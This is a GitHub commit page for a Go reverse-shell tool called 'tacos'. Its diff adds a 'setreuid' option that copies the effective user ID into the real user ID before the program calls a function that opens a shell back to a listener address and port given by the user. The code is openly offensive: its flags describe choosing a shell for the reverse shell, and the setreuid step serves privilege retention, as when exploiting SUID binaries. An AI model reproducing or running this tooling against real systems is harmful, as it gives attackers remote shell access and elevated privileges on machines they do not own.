Skip to content

Commit

Permalink
setreuid function
Browse files Browse the repository at this point in the history
  • Loading branch information
ariary committed Sep 15, 2022
1 parent 7afdd8e commit d000c41
Showing 1 changed file with 8 additions and 2 deletions.
10 changes: 8 additions & 2 deletions cmd/tacos/tacos.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import (
"os"
"runtime"
"strings"
"syscall"

"github.com/ariary/tacos/pkg/tacos"
)
Expand All @@ -14,11 +15,12 @@ var Remote string

func main() {
//var detect, daemon bool
var detect bool
var detect, setreuid bool
var shell string
flag.BoolVar(&detect, "detect", false, "Detect default shell to use it in reverse shell")
//TODO: flag.BoolVar(&daemon, "daemon", false, "Disown the process from the terminal")
flag.StringVar(&shell, "shell", "/bin/bash", "shell to use for reverse shell") //default /bin/bash
flag.BoolVar(&setreuid, "setreuid", false, "Set the real and effective user IDs to the EUID parameter")
flag.Parse()

if runtime.GOOS == "windows" {
Expand All @@ -29,14 +31,18 @@ func main() {
shell = tacos.DetectDefaultShell()
}

if len(os.Args) > 1 {
if len(flag.Args()) > 0 {
Remote = flag.Arg(0)
}

if Remote == "" {
fmt.Println("Usage: tacos [listener_url]:[port]")
os.Exit(1)
}
if setreuid {
euid := syscall.Geteuid() //effective ID
syscall.Setreuid(euid, euid) //set real user id to eid, Print error if you want to debug
}

tacos.ShellReverse(Remote, shell)
}

0 comments on commit d000c41

Please sign in to comment.